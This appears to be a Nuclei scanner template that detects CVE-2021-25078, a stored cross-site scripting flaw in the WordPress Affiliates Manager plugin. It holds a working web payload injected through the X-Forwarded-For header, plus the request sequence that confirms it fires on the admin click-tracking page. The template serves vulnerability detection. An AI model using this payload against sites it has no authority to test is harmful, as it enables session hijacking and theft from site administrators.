Affiliates Manager < 2.9.0 - Cross Site Scripting

id: CVE-2021-25078

info:
  name: Affiliates Manager < 2.9.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of an authenticated user, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 2.9.0
  reference:
    - https://wpscan.com/vulnerability/d4edb5f2-aa1b-4e2d-abb4-76c46def6c6e
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25078
    - https://plugins.trac.wordpress.org/changeset/2648196
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25078
    cwe-id: CWE-79
    epss-score: 0.02288
    epss-percentile: 0.81166
    cpe: cpe:2.3:a:wpaffiliatemanager:affiliates_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: wpaffiliatemanager
    product: affiliates_manager
    framework: wordpress
  tags: cve2021,cve,wp,wordpress,authenticated,affiliates-manager,wp-plugin,xss,wpscan,wpaffiliatemanager,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /?wpam_id=1 HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: <img src onerror=alert(document.domain)>
      - |
        GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200 && status_code_3 == 200'
          - 'contains(header_3, "text/html")'
          - 'contains(body_3, "<img src onerror=alert(document.domain)>")'
          - 'contains(body_3, "Affiliates Manager Click Tracking")'
        condition: and
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